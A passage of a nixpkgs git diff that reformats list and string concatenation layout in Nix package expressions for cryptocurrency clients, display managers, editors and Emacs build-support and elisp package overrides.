-    '';
+    install -Dm644 ${desktop} $out/share/applications/groestlcoin-qt.desktop
+    substituteInPlace $out/share/applications/groestlcoin-qt.desktop --replace "Icon=groestlcoin128" "Icon=groestlcoin"
+    install -Dm644 share/pixmaps/groestlcoin256.png $out/share/pixmaps/groestlcoin.png
+  '';
 
-  configureFlags =
-    [
-      "--with-boost-libdir=${boost.out}/lib"
-      "--disable-bench"
-    ]
-    ++ lib.optionals (!withWallet) [
-      "--disable-wallet"
-    ]
-    ++ lib.optionals withGui [
-      "--with-gui=qt5"
-      "--with-qt-bindir=${qtbase.dev}/bin:${qttools.dev}/bin"
-    ];
+  configureFlags = [
+    "--with-boost-libdir=${boost.out}/lib"
+    "--disable-bench"
+  ]
+  ++ lib.optionals (!withWallet) [
+    "--disable-wallet"
+  ]
+  ++ lib.optionals withGui [
+    "--with-gui=qt5"
+    "--with-qt-bindir=${qtbase.dev}/bin:${qttools.dev}/bin"
+  ];
 
   nativeCheckInputs = [ python3 ];
 
-  checkFlags =
-    [ "LC_ALL=en_US.UTF-8" ]
-    # QT_PLUGIN_PATH needs to be set when executing QT, which is needed when testing Groestlcoin's GUI.
-    # See also https://github.com/NixOS/nixpkgs/issues/24256
-    ++ lib.optional withGui "QT_PLUGIN_PATH=${qtbase}/${qtbase.qtPluginPrefix}";
+  checkFlags = [
+    "LC_ALL=en_US.UTF-8"
+  ]
+  # QT_PLUGIN_PATH needs to be set when executing QT, which is needed when testing Groestlcoin's GUI.
+  # See also https://github.com/NixOS/nixpkgs/issues/24256
+  ++ lib.optional withGui "QT_PLUGIN_PATH=${qtbase}/${qtbase.qtPluginPrefix}";
 
   enableParallelBuilding = true;
 
diff --git a/pkgs/applications/blockchains/vertcoin/default.nix b/pkgs/applications/blockchains/vertcoin/default.nix
index 056bad01dfc6..c5abb5aabed0 100644
--- a/pkgs/applications/blockchains/vertcoin/default.nix
+++ b/pkgs/applications/blockchains/vertcoin/default.nix
@@ -46,41 +46,38 @@ stdenv.mkDerivation rec {
     })
   ];
 
-  nativeBuildInputs =
-    [
-      autoreconfHook
-      pkg-config
-      hexdump
-    ]
-    ++ lib.optionals withGui [
-      wrapQtAppsHook
-    ];
+  nativeBuildInputs = [
+    autoreconfHook
+    pkg-config
+    hexdump
+  ]
+  ++ lib.optionals withGui [
+    wrapQtAppsHook
+  ];
 
-  buildInputs =
-    [
-      openssl
-      boost
-      libevent
-      db4
-      zeromq
-      gmp
-    ]
-    ++ lib.optionals withGui [
-      qtbase
-      qttools
-      protobuf
-    ];
+  buildInputs = [
+    openssl
+    boost
+    libevent
+    db4
+    zeromq
+    gmp
+  ]
+  ++ lib.optionals withGui [
+    qtbase
+    qttools
+    protobuf
+  ];
 
   enableParallelBuilding = true;
 
-  configureFlags =
-    [
-      "--with-boost-libdir=${boost.out}/lib"
-    ]
-    ++ lib.optionals withGui [
-      "--with-gui=qt5"
-      "--with-qt-bindir=${qtbase.dev}/bin:${qttools.dev}/bin"
-    ];
+  configureFlags = [
+    "--with-boost-libdir=${boost.out}/lib"
+  ]
+  ++ lib.optionals withGui [
+    "--with-gui=qt5"
+    "--with-qt-bindir=${qtbase.dev}/bin:${qttools.dev}/bin"
+  ];
 
   meta = with lib; {
     description = "Digital currency with mining decentralisation and ASIC resistance as a key focus";
diff --git a/pkgs/applications/display-managers/greetd/qtgreet.nix b/pkgs/applications/display-managers/greetd/qtgreet.nix
index dc6d2955ae3e..6a55cd307b1b 100644
--- a/pkgs/applications/display-managers/greetd/qtgreet.nix
+++ b/pkgs/applications/display-managers/greetd/qtgreet.nix
@@ -40,7 +40,8 @@ stdenv.mkDerivation (finalAttrs: {
     dfl-utils
     dfl-applications
     dfl-login1
-  ] ++ lib.optionals mpvSupport [ mpv ];
+  ]
+  ++ lib.optionals mpvSupport [ mpv ];
 
   mesonFlags = [
     (lib.mesonOption "dynpath" "${placeholder "out"}/var/lib/qtgreet")
diff --git a/pkgs/applications/display-managers/lightdm/default.nix b/pkgs/applications/display-managers/lightdm/default.nix
index 802f200440dd..a123eab300d7 100644
--- a/pkgs/applications/display-managers/lightdm/default.nix
+++ b/pkgs/applications/display-managers/lightdm/default.nix
@@ -73,7 +73,8 @@ stdenv.mkDerivation rec {
     libxklavier
     pam
     polkit
-  ] ++ lib.optional withQt5 qtbase;
+  ]
+  ++ lib.optional withQt5 qtbase;
 
   patches = [
     # Adds option to disable writing dmrc files
@@ -99,7 +100,8 @@ stdenv.mkDerivation rec {
     "--sysconfdir=/etc"
     "--disable-tests"
     "--disable-dmrc"
-  ] ++ lib.optional withQt5 "--enable-liblightdm-qt5";
+  ]
+  ++ lib.optional withQt5 "--enable-liblightdm-qt5";
 
   installFlags = [
     "sysconfdir=${placeholder "out"}/etc"
diff --git a/pkgs/applications/editors/code-browser/default.nix b/pkgs/applications/editors/code-browser/default.nix
index 093b5fe3309e..4528c6a33687 100644
--- a/pkgs/applications/editors/code-browser/default.nix
+++ b/pkgs/applications/editors/code-browser/default.nix
@@ -29,49 +29,46 @@ mkDerivation rec {
     url = "https://tibleiz.net/download/code-browser-${version}-src.tar.gz";
     sha256 = "sha256-beCp4lx4MI1+hVgWp2h3piE/zu51zfwQdB5g7ImgmwY=";
   };
-  postPatch =
-    ''
-      substituteInPlace Makefile --replace "LFLAGS=-no-pie" "LFLAGS=-no-pie -L."
-      patchShebangs .
-    ''
-    + lib.optionalString withQt ''
-      substituteInPlace libs/copper-ui/Makefile --replace "moc -o" "${qtbase.dev}/bin/moc -o"
-      substituteInPlace libs/copper-ui/Makefile --replace "all: qt gtk gtk2" "all: qt"
-    ''
-    + lib.optionalString withGtk2 ''
-      substituteInPlace libs/copper-ui/Makefile --replace "all: qt gtk gtk2" "all: gtk2"
-    ''
-    + lib.optionalString withGtk3 ''
-      substituteInPlace libs/copper-ui/Makefile --replace "all: qt gtk gtk2" "all: gtk"
-    '';
-  nativeBuildInputs =
-    [
-      copper
-      python3
-      pkg-config
-    ]
-    ++ lib.optionals withGtk2 [ gtk2 ]
-    ++ lib.optionals withGtk3 [ gtk3 ]
-    ++ lib.optionals withQt [
-      qtbase
-      wrapQtAppsHook
-    ];
+  postPatch = ''
+    substituteInPlace Makefile --replace "LFLAGS=-no-pie" "LFLAGS=-no-pie -L."
+    patchShebangs .
+  ''
+  + lib.optionalString withQt ''
+    substituteInPlace libs/copper-ui/Makefile --replace "moc -o" "${qtbase.dev}/bin/moc -o"
+    substituteInPlace libs/copper-ui/Makefile --replace "all: qt gtk gtk2" "all: qt"
+  ''
+  + lib.optionalString withGtk2 ''
+    substituteInPlace libs/copper-ui/Makefile --replace "all: qt gtk gtk2" "all: gtk2"
+  ''
+  + lib.optionalString withGtk3 ''
+    substituteInPlace libs/copper-ui/Makefile --replace "all: qt gtk gtk2" "all: gtk"
+  '';
+  nativeBuildInputs = [
+    copper
+    python3
+    pkg-config
+  ]
+  ++ lib.optionals withGtk2 [ gtk2 ]
+  ++ lib.optionals withGtk3 [ gtk3 ]
+  ++ lib.optionals withQt [
+    qtbase
+    wrapQtAppsHook
+  ];
   buildInputs =
     lib.optionals withQt [ qtbase ]
     ++ lib.optionals withGtk2 [ gtk2 ]
     ++ lib.optionals withGtk3 [ gtk3 ];
-  makeFlags =
-    [
-      "prefix=$(out)"
-      "COPPER=${copper}/bin/copper-elf64"
-      "with-local-libs"
-    ]
-    ++ lib.optionals withQt [
-      "QINC=${qtbase.dev}/include"
-      "UI=qt"
-    ]
-    ++ lib.optionals withGtk2 [ "UI=gtk2" ]
-    ++ lib.optionals withGtk3 [ "UI=gtk" ];
+  makeFlags = [
+    "prefix=$(out)"
+    "COPPER=${copper}/bin/copper-elf64"
+    "with-local-libs"
+  ]
+  ++ lib.optionals withQt [
+    "QINC=${qtbase.dev}/include"
+    "UI=qt"
+  ]
+  ++ lib.optionals withGtk2 [ "UI=gtk2" ]
+  ++ lib.optionals withGtk3 [ "UI=gtk" ];
 
   meta = with lib; {
     description = "Folding text editor, designed to hierarchically structure any kind of text file and especially source code";
diff --git a/pkgs/applications/editors/cudatext/default.nix b/pkgs/applications/editors/cudatext/default.nix
index 6b805dbb0870..4172265c7d13 100644
--- a/pkgs/applications/editors/cudatext/default.nix
+++ b/pkgs/applications/editors/cudatext/default.nix
@@ -64,20 +64,22 @@ stdenv.mkDerivation rec {
   nativeBuildInputs = [
     lazarus
     fpc
-  ] ++ lib.optional (widgetset == "qt5") libsForQt5.wrapQtAppsHook;
+  ]
+  ++ lib.optional (widgetset == "qt5") libsForQt5.wrapQtAppsHook;
 
-  buildInputs =
-    [ libX11 ]
-    ++ lib.optionals (lib.hasPrefix "gtk" widgetset) [
-      pango
-      cairo
-      glib
-      atk
-      gdk-pixbuf
-    ]
-    ++ lib.optional (widgetset == "gtk2") gtk2
-    ++ lib.optional (widgetset == "gtk3") gtk3
-    ++ lib.optional (widgetset == "qt5") libsForQt5.libqtpas;
+  buildInputs = [
+    libX11
+  ]
+  ++ lib.optionals (lib.hasPrefix "gtk" widgetset) [
+    pango
+    cairo
+    glib
+    atk
+    gdk-pixbuf
+  ]
+  ++ lib.optional (widgetset == "gtk2") gtk2
+  ++ lib.optional (widgetset == "gtk3") gtk3
+  ++ lib.optional (widgetset == "qt5") libsForQt5.libqtpas;
 
   NIX_LDFLAGS = "--as-needed -rpath ${lib.makeLibraryPath buildInputs}";
 
@@ -106,24 +108,23 @@ stdenv.mkDerivation rec {
         app/cudatext.lpi
     '';
 
-  installPhase =
-    ''
-      install -Dm755 app/cudatext -t $out/bin
+  installPhase = ''
+    install -Dm755 app/cudatext -t $out/bin
 
-      install -dm755 $out/share/cudatext
-      cp -r app/{data,py,settings_default} $out/share/cudatext
+    install -dm755 $out/share/cudatext
+    cp -r app/{data,py,settings_default} $out/share/cudatext
 
-      install -Dm644 setup/debfiles/cudatext-512.png -t $out/share/pixmaps
-      install -Dm644 setup/debfiles/cudatext.desktop -t $out/share/applications
-    ''
-    + lib.concatMapStringsSep "\n" (lexer: ''
-      if [ -d "CudaText-lexers/${lexer}" ]; then
-        install -Dm644 CudaText-lexers/${lexer}/*.{cuda-lexmap,lcf} $out/share/cudatext/data/lexlib
-      else
-        echo "${lexer} lexer not found"
-        exit 1
-      fi
-    '') additionalLexers;
+    install -Dm644 setup/debfiles/cudatext-512.png -t $out/share/pixmaps
+    install -Dm644 setup/debfiles/cudatext.desktop -t $out/share/applications
+  ''
+  + lib.concatMapStringsSep "\n" (lexer: ''
+    if [ -d "CudaText-lexers/${lexer}" ]; then
+      install -Dm644 CudaText-lexers/${lexer}/*.{cuda-lexmap,lcf} $out/share/cudatext/data/lexlib
+    else
+      echo "${lexer} lexer not found"
+      exit 1
+    fi
+  '') additionalLexers;
 
   passthru.updateScript = ./update.sh;
 
diff --git a/pkgs/applications/editors/eclipse/build-eclipse.nix b/pkgs/applications/editors/eclipse/build-eclipse.nix
index c6a3fa595a63..74b728362170 100644
--- a/pkgs/applications/editors/eclipse/build-eclipse.nix
+++ b/pkgs/applications/editors/eclipse/build-eclipse.nix
@@ -57,7 +57,8 @@ stdenv.mkDerivation rec {
     libXtst
     libsecret
     zlib
-  ] ++ lib.optional (webkitgtk_4_1 != null) webkitgtk_4_1;
+  ]
+  ++ lib.optional (webkitgtk_4_1 != null) webkitgtk_4_1;
 
   buildCommand = ''
     # Unpack tarball.
diff --git a/pkgs/applications/editors/eclipse/plugins.nix b/pkgs/applications/editors/eclipse/plugins.nix
index 3ab4107eb206..f662322c4ce6 100644
--- a/pkgs/applications/editors/eclipse/plugins.nix
+++ b/pkgs/applications/editors/eclipse/plugins.nix
@@ -26,7 +26,8 @@ rec {
 
         passthru = {
           isEclipsePlugin = true;
-        } // passthru;
+        }
+        // passthru;
       }
     );
 
diff --git a/pkgs/applications/editors/emacs/build-support/elpa.nix b/pkgs/applications/editors/emacs/build-support/elpa.nix
index 50abadccf9d9..ba4c52e24443 100644
--- a/pkgs/applications/editors/emacs/build-support/elpa.nix
+++ b/pkgs/applications/editors/emacs/build-support/elpa.nix
@@ -52,7 +52,8 @@ lib.extendMkDerivation {
 
       meta = {
         homepage = args.src.meta.homepage or "https://elpa.gnu.org/packages/${pname}.html";
-      } // meta;
+      }
+      // meta;
     };
 
 }
diff --git a/pkgs/applications/editors/emacs/build-support/generic.nix b/pkgs/applications/editors/emacs/build-support/generic.nix
index b4e96f6490fb..d0124876c6b2 100644
--- a/pkgs/applications/editors/emacs/build-support/generic.nix
+++ b/pkgs/applications/editors/emacs/build-support/generic.nix
@@ -56,7 +56,8 @@ lib.extendMkDerivation {
       nativeBuildInputs = [
         emacs
         texinfo
-      ] ++ nativeBuildInputs;
+      ]
+      ++ nativeBuildInputs;
       propagatedBuildInputs = finalAttrs.packageRequires ++ propagatedBuildInputs;
       propagatedUserEnvPkgs = finalAttrs.packageRequires ++ propagatedUserEnvPkgs;
 
@@ -65,47 +66,45 @@ lib.extendMkDerivation {
 
       inherit turnCompilationWarningToError ignoreCompilationError;
 
-      meta =
-        {
-          broken = false;
-          platforms = emacs.meta.platforms;
-        }
-        // optionalAttrs ((args.src.meta.homepage or "") != "") {
-          homepage = args.src.meta.homepage;
-        }
-        // meta;
+      meta = {
+        broken = false;
+        platforms = emacs.meta.platforms;
+      }
+      // optionalAttrs ((args.src.meta.homepage or "") != "") {
+        homepage = args.src.meta.homepage;
+      }
+      // meta;
     }
 
     // optionalAttrs (emacs.withNativeCompilation or false) {
 
       addEmacsNativeLoadPath = args.addEmacsNativeLoadPath or true;
 
-      postInstall =
-        ''
-          # Besides adding the output directory to the native load path, make sure
-          # the current package's elisp files are in the load path, otherwise
-          # (require 'file-b) from file-a.el in the same package will fail.
-          mkdir -p $out/share/emacs/native-lisp
-          addEmacsVars "$out"
+      postInstall = ''
+        # Besides adding the output directory to the native load path, make sure
+        # the current package's elisp files are in the load path, otherwise
+        # (require 'file-b) from file-a.el in the same package will fail.
+        mkdir -p $out/share/emacs/native-lisp
+        addEmacsVars "$out"
 
-          # package-activate-all is used to activate packages.  In other builder
-          # helpers, package-initialize is used for this purpose because
-          # package-activate-all is not available before Emacs 27.
-          find $out/share/emacs -type f -name '*.el' -not -name ".dir-locals.el" -print0 \
-            | xargs --verbose -0 -I {} -n 1 -P $NIX_BUILD_CORES sh -c \
-                "emacs \
-                   --batch \
-                   -f package-activate-all \
-                   --eval '(setq native-comp-eln-load-path (cdr native-comp-eln-load-path))' \
-                   --eval '(let ((default-directory \"$out/share/emacs/site-lisp\")) (normal-top-level-add-subdirs-to-load-path))' \
-                   --eval '(setq large-file-warning-threshold nil)' \
-                   --eval '(setq byte-compile-error-on-warn ${
-                     if finalAttrs.turnCompilationWarningToError then "t" else "nil"
-                   })' \
-                   -f batch-native-compile {} \
-                 || exit ${if finalAttrs.ignoreCompilationError then "0" else "\\$?"}"
-        ''
-        + postInstall;
+        # package-activate-all is used to activate packages.  In other builder
+        # helpers, package-initialize is used for this purpose because
+        # package-activate-all is not available before Emacs 27.
+        find $out/share/emacs -type f -name '*.el' -not -name ".dir-locals.el" -print0 \
+          | xargs --verbose -0 -I {} -n 1 -P $NIX_BUILD_CORES sh -c \
+              "emacs \
+                 --batch \
+                 -f package-activate-all \
+                 --eval '(setq native-comp-eln-load-path (cdr native-comp-eln-load-path))' \
+                 --eval '(let ((default-directory \"$out/share/emacs/site-lisp\")) (normal-top-level-add-subdirs-to-load-path))' \
+                 --eval '(setq large-file-warning-threshold nil)' \
+                 --eval '(setq byte-compile-error-on-warn ${
+                   if finalAttrs.turnCompilationWarningToError then "t" else "nil"
+                 })' \
+                 -f batch-native-compile {} \
+               || exit ${if finalAttrs.ignoreCompilationError then "0" else "\\$?"}"
+      ''
+      + postInstall;
     };
 
 }
diff --git a/pkgs/applications/editors/emacs/build-support/melpa.nix b/pkgs/applications/editors/emacs/build-support/melpa.nix
index 0c77acc9d6b4..e32fa2971070 100644
--- a/pkgs/applications/editors/emacs/build-support/melpa.nix
+++ b/pkgs/applications/editors/emacs/build-support/melpa.nix
@@ -120,39 +120,37 @@ lib.extendMkDerivation {
           if unstableVersionInNixFormat then date + "." + time else finalAttrs.version
         );
 
-      preUnpack =
-        ''
-          mkdir -p "$NIX_BUILD_TOP/recipes"
-          recipeFile="$NIX_BUILD_TOP/recipes/$ename"
-          if [ -r "$recipe" ]; then
-            ln -s "$recipe" "$recipeFile"
-            nixInfoLog "link recipe"
-          elif [ -n "$recipe" ]; then
-            printf "%s" "$recipe" > "$recipeFile"
-            nixInfoLog "write recipe"
-          else
-            cat > "$recipeFile" <<'EOF'
-          (${finalAttrs.ename} :fetcher git :url "" ${
-            lib.optionalString (finalAttrs.files != null) ":files ${finalAttrs.files}"
-          })
-          EOF
-            nixInfoLog "use default recipe"
-          fi
-          nixInfoLog "recipe content:" "$(< $recipeFile)"
-          unset -v recipeFile
+      preUnpack = ''
+        mkdir -p "$NIX_BUILD_TOP/recipes"
+        recipeFile="$NIX_BUILD_TOP/recipes/$ename"
+        if [ -r "$recipe" ]; then
+          ln -s "$recipe" "$recipeFile"
+          nixInfoLog "link recipe"
+        elif [ -n "$recipe" ]; then
+          printf "%s" "$recipe" > "$recipeFile"
+          nixInfoLog "write recipe"
+        else
+          cat > "$recipeFile" <<'EOF'
+        (${finalAttrs.ename} :fetcher git :url "" ${
+          lib.optionalString (finalAttrs.files != null) ":files ${finalAttrs.files}"
+        })
+        EOF
+          nixInfoLog "use default recipe"
+        fi
+        nixInfoLog "recipe content:" "$(< $recipeFile)"
+        unset -v recipeFile
 
-          ln -s "$packageBuild" "$NIX_BUILD_TOP/package-build"
+        ln -s "$packageBuild" "$NIX_BUILD_TOP/package-build"
 
-          mkdir -p "$NIX_BUILD_TOP/packages"
-        ''
-        + preUnpack;
+        mkdir -p "$NIX_BUILD_TOP/packages"
+      ''
+      + preUnpack;
 
-      postUnpack =
-        ''
-          mkdir -p "$NIX_BUILD_TOP/working"
-          ln -s "$NIX_BUILD_TOP/$sourceRoot" "$NIX_BUILD_TOP/working/$ename"
-        ''
-        + postUnpack;
+      postUnpack = ''
+        mkdir -p "$NIX_BUILD_TOP/working"
+        ln -s "$NIX_BUILD_TOP/$sourceRoot" "$NIX_BUILD_TOP/working/$ename"
+      ''
+      + postUnpack;
 
       buildPhase =
         args.buildPhase or ''
@@ -197,7 +195,8 @@ lib.extendMkDerivation {
 
       meta = {
         homepage = args.src.meta.homepage or "https://melpa.org/#/${pname}";
-      } // meta;
+      }
+      // meta;
     };
 
 }
diff --git a/pkgs/applications/editors/emacs/elisp-packages/elpa-common-overrides.nix b/pkgs/applications/editors/emacs/elisp-packages/elpa-common-overrides.nix
index d0a2cb178066..1b5e65d44894 100644
--- a/pkgs/applications/editors/emacs/elisp-packages/elpa-common-overrides.nix
+++ b/pkgs/applications/editors/emacs/elisp-packages/elpa-common-overrides.nix
@@ -278,11 +278,9 @@ in
   xeft = super.xeft.overrideAttrs (old: {
     dontUnpack = false;
     buildInputs = old.buildInputs or [ ] ++ [ pkgs.xapian ];
-    buildPhase =
-      old.buildPhase or ""
-      + ''
-        $CXX -shared -o xapian-lite${libExt} xapian-lite.cc -lxapian
-      '';
+    buildPhase = old.buildPhase or "" + ''
+      $CXX -shared -o xapian-lite${libExt} xapian-lite.cc -lxapian
+    '';
     postInstall =
       old.postInstall or ""
       + "\n"
diff --git a/pkgs/applications/editors/emacs/elisp-packages/manual-packages/tree-sitter-langs/default.nix b/pkgs/applications/editors/emacs/elisp-packages/manual-packages/tree-sitter-langs/default.nix
index 902e8f1721bf..6ba284a8c73d 100644
--- a/pkgs/applications/editors/emacs/elisp-packages/manual-packages/tree-sitter-langs/default.nix
+++ b/pkgs/applications/editors/emacs/elisp-packages/manual-packages/tree-sitter-langs/default.nix
@@ -31,12 +31,10 @@ let
 
 in
 melpaStablePackages.tree-sitter-langs.overrideAttrs (old: {
-  postPatch =
-    old.postPatch or ""
-    + ''
-      substituteInPlace ./tree-sitter-langs-build.el \
-      --replace "tree-sitter-langs-grammar-dir tree-sitter-langs--dir"  "tree-sitter-langs-grammar-dir \"${grammarDir}/langs\""
-    '';
+  postPatch = old.postPatch or "" + ''
+    substituteInPlace ./tree-sitter-langs-build.el \
+    --replace "tree-sitter-langs-grammar-dir tree-sitter-langs--dir"  "tree-sitter-langs-grammar-dir \"${grammarDir}/langs\""
+  '';
 
   postInstall =
     old.postInstall or ""
diff --git a/pkgs/applications/editors/emacs/elisp-packages/melpa-packages.nix b/pkgs/applications/editors/emacs/elisp-packages/melpa-packages.nix
index e3ef4bd8e9c1..a82987bb27a3 100644
--- a/pkgs/applications/editors/emacs/elisp-packages/melpa-packages.nix
+++ b/pkgs/applications/editors/emacs/elisp-packages/melpa-packages.nix
@@ -129,12 +129,10 @@ let
           ac-rtags = ignoreCompilationError (fix-rtags super.ac-rtags); # elisp error
 
           age = super.age.overrideAttrs (attrs: {
-            postPatch =
-              attrs.postPatch or ""
-              + ''
-                substituteInPlace age.el \
-                  --replace-fail 'age-program (executable-find "age")' 'age-program "${lib.getExe pkgs.age}"'
-              '';
+            postPatch = attrs.postPatch or "" + ''
+              substituteInPlace age.el \
+                --replace-fail 'age-program (executable-find "age")' 'age-program "${lib.getExe pkgs.age}"'
+            '';
           });
 
           airline-themes = super.airline-themes.override {
@@ -405,21 +403,17 @@ let
           forge = buildWithGit super.forge;
 
           gnuplot = super.gnuplot.overrideAttrs (attrs: {
-            postPatch =
-              attrs.postPatch or ""
-              + ''
-                substituteInPlace gnuplot.el \
-                  --replace-fail 'gnuplot-program "gnuplot"' 'gnuplot-program "${lib.getExe pkgs.gnuplot}"'
-              '';
+            postPatch = attrs.postPatch or "" + ''
+              substituteInPlace gnuplot.el \
+                --replace-fail 'gnuplot-program "gnuplot"' 'gnuplot-program "${lib.getExe pkgs.gnuplot}"'
+            '';
           });
 
           gnuplot-mode = super.gnuplot-mode.overrideAttrs (attrs: {
-            postPatch =
-              attrs.postPatch or ""
-              + ''
-                substituteInPlace gnuplot-mode.el \
-                  --replace-fail 'gnuplot-program "gnuplot"' 'gnuplot-program "${lib.getExe pkgs.gnuplot}"'
-              '';
+            postPatch = attrs.postPatch or "" + ''
+              substituteInPlace gnuplot-mode.el \
+                --replace-fail 'gnuplot-program "gnuplot"' 'gnuplot-program "${lib.getExe pkgs.gnuplot}"'
+            '';
           });
 
           magit = buildWithGit super.magit;
@@ -492,23 +486,19 @@ let
           orgit-forge = buildWithGit super.orgit-forge;
 
           ormolu = super.ormolu.overrideAttrs (attrs: {
-            postPatch =
-              attrs.postPatch or ""
-              + ''
-                substituteInPlace ormolu.el \
-                  --replace-fail 'ormolu-process-path "ormolu"' 'ormolu-process-path "${lib.getExe pkgs.ormolu}"'
-              '';
+            postPatch = attrs.postPatch or "" + ''
+              substituteInPlace ormolu.el \
+                --replace-fail 'ormolu-process-path "ormolu"' 'ormolu-process-path "${lib.getExe pkgs.ormolu}"'
+            '';
           });
 
           ox-rss = buildWithGit super.ox-rss;
 
           python-isort = super.python-isort.overrideAttrs (attrs: {
-            postPatch =
-              attrs.postPatch or ""
-              + ''
-                substituteInPlace python-isort.el \
-                  --replace '-isort-command "isort"' '-isort-command "${lib.getExe pkgs.isort}"'
-              '';
+            postPatch = attrs.postPatch or "" + ''
+              substituteInPlace python-isort.el \
+                --replace '-isort-command "isort"' '-isort-command "${lib.getExe pkgs.isort}"'
+            '';
           });
 
           # upstream issue: missing file header
@@ -524,12 +514,10 @@ let
           notmuch = dontConfigure super.notmuch;
 
           pikchr-mode = super.pikchr-mode.overrideAttrs (attrs: {
-            postPatch =
-              attrs.postPatch or ""
-              + ''
-                substituteInPlace pikchr-mode.el \
-                  --replace '"pikchr")' '"${lib.getExe pkgs.pikchr}")'
-              '';
+            postPatch = attrs.postPatch or "" + ''
+              substituteInPlace pikchr-mode.el \
+                --replace '"pikchr")' '"${lib.getExe pkgs.pikchr}")'
+            '';
           });
 
           rtags = ignoreCompilationError (dontConfigure (externalSrc super.rtags pkgs.rtags)); # elisp error
@@ -538,16 +526,12 @@ let
 
           rime = super.rime.overrideAttrs (old: {
             buildInputs = (old.buildInputs or [ ]) ++ [ pkgs.librime ];
-            preBuild =
-              (old.preBuild or "")
-              + ''
-                make lib CC=$CC MODULE_FILE_SUFFIX=${pkgs.stdenv.hostPlatform.extensions.sharedLibrary}
-              '';
-            postInstall =
-              (old.postInstall or "")
-              + ''
-                install -m444 -t $out/share/emacs/site-lisp/elpa/rime-* librime-emacs.*
-              '';
+            preBuild = (old.preBuild or "") + ''
+              make lib CC=$CC MODULE_FILE_SUFFIX=${pkgs.stdenv.hostPlatform.extensions.sharedLibrary}
+            '';
+            postInstall = (old.postInstall or "") + ''
+              install -m444 -t $out/share/emacs/site-lisp/elpa/rime-* librime-emacs.*
+            '';
           });
 
           # https://github.com/projectional-haskell/structured-haskell-mode/issues/165
@@ -595,21 +579,17 @@ let
           });
 
           tokei = super.tokei.overrideAttrs (attrs: {
-            postPatch =
-              attrs.postPatch or ""
-              + ''
-                substituteInPlace tokei.el \
-                  --replace 'tokei-program "tokei"' 'tokei-program "${lib.getExe pkgs.tokei}"'
-              '';
+            postPatch = attrs.postPatch or "" + ''
+              substituteInPlace tokei.el \
+                --replace 'tokei-program "tokei"' 'tokei-program "${lib.getExe pkgs.tokei}"'
+            '';
           });
 
           treemacs = super.treemacs.overrideAttrs (attrs: {
-            postPatch =
-              (attrs.postPatch or "")
-              + ''
-                substituteInPlace src/elisp/treemacs-customization.el \
-                  --replace 'treemacs-python-executable (treemacs--find-python3)' 'treemacs-python-executable "${lib.getExe pkgs.python3}"'
-              '';
+            postPatch = (attrs.postPatch or "") + ''
+              substituteInPlace src/elisp/treemacs-customization.el \
+                --replace 'treemacs-python-executable (treemacs--find-python3)' 'treemacs-python-executable "${lib.getExe pkgs.python3}"'
+            '';
           });
 
           treemacs-magit = super.treemacs-magit.overrideAttrs (attrs: {
@@ -618,21 +598,17 @@ let
           });
 
           typst-mode = super.typst-mode.overrideAttrs (attrs: {
-            postPatch =
-              attrs.postPatch or ""
-              + ''
-                substituteInPlace typst-mode.el \
-                  --replace 'typst-executable-location  "typst"' 'typst-executable-location "${lib.getExe pkgs.typst}"'
-              '';
+            postPatch = attrs.postPatch or "" + ''
+              substituteInPlace typst-mode.el \
+                --replace 'typst-executable-location  "typst"' 'typst-executable-location "${lib.getExe pkgs.typst}"'
+            '';
           });
 
           units-mode = super.units-mode.overrideAttrs (attrs: {
-            postPatch =
-              attrs.postPatch or ""
-              + ''
-                substituteInPlace units-mode.el \
-                  --replace-fail 'units-binary-path "units"' 'units-binary-path "${lib.getExe pkgs.units}"'
-              '';
+            postPatch = attrs.postPatch or "" + ''
+              substituteInPlace units-mode.el \
+                --replace-fail 'units-binary-path "units"' 'units-binary-path "${lib.getExe pkgs.units}"'
+            '';
           });
 
           vdiff-magit = super.vdiff-magit.overrideAttrs (attrs: {
@@ -640,12 +616,10 @@ let
           });
 
           zig-mode = super.zig-mode.overrideAttrs (attrs: {
-            postPatch =
-              attrs.postPatch or ""
-              + ''
-                substituteInPlace zig-mode.el \
-                  --replace-fail 'zig-zig-bin "zig"' 'zig-zig-bin "${lib.getExe pkgs.zig}"'
-              '';
+            postPatch = attrs.postPatch or "" + ''
+              substituteInPlace zig-mode.el \
+                --replace-fail 'zig-zig-bin "zig"' 'zig-zig-bin "${lib.getExe pkgs.zig}"'
+            '';
           });
 
           zmq = super.zmq.overrideAttrs (old: {
@@ -735,12 +709,10 @@ let
           php-auto-yasnippets = mkHome super.php-auto-yasnippets;
 
           racer = super.racer.overrideAttrs (attrs: {
-            postPatch =
-              attrs.postPatch or ""
-              + ''
-                substituteInPlace racer.el \
-                  --replace /usr/local/src/rust/src ${pkgs.rustPlatform.rustcSrc}
-              '';
+            postPatch = attrs.postPatch or "" + ''
+              substituteInPlace racer.el \
+                --replace /usr/local/src/rust/src ${pkgs.rustPlatform.rustcSrc}
+            '';
           });
 
           spaceline = super.spaceline.override {
@@ -789,32 +761,26 @@ let
           });
 
           wordnut = super.wordnut.overrideAttrs (attrs: {
-            postPatch =
-              attrs.postPatch or ""
-              + ''
-                substituteInPlace wordnut.el \
-                  --replace 'wordnut-cmd "wn"' 'wordnut-cmd "${lib.getExe pkgs.wordnet}"'
-              '';
+            postPatch = attrs.postPatch or "" + ''
+              substituteInPlace wordnut.el \
+                --replace 'wordnut-cmd "wn"' 'wordnut-cmd "${lib.getExe pkgs.wordnet}"'
+            '';
           });
 
           mozc = super.mozc.overrideAttrs (attrs: {
-            postPatch =
-              attrs.postPatch or ""
-              + ''
-                substituteInPlace src/unix/emacs/mozc.el \
-                  --replace '"mozc_emacs_helper"' '"${pkgs.ibus-engines.mozc}/lib/mozc/mozc_emacs_helper"'
-              '';
+            postPatch = attrs.postPatch or "" + ''
+              substituteInPlace src/unix/emacs/mozc.el \
+                --replace '"mozc_emacs_helper"' '"${pkgs.ibus-engines.mozc}/lib/mozc/mozc_emacs_helper"'
+            '';
           });
 
           # Build a helper executable that interacts with the macOS Dictionary.app
           osx-dictionary =
             if pkgs.stdenv.hostPlatform.isDarwin then
               super.osx-dictionary.overrideAttrs (old: {
-                postBuild =
-                  (old.postBuild or "")
-                  + ''
-                    $CXX -O3 -framework CoreServices -framework Foundation osx-dictionary.m -o osx-dictionary-cli
-                  '';
+                postBuild = (old.postBuild or "") + ''
+                  $CXX -O3 -framework CoreServices -framework Foundation osx-dictionary.m -o osx-dictionary-cli
+                '';
                 postInstall =
                   (old.postInstall or "")
                   + "\n"
@@ -838,11 +804,10 @@ let
 
           ac-php-core = super.ac-php-core.overrideAttrs (old: {
             # empty file causing native-compiler-error-empty-byte
-            preBuild =
-              ''
-                rm --verbose ac-php-comm-tags-data.el
-              ''
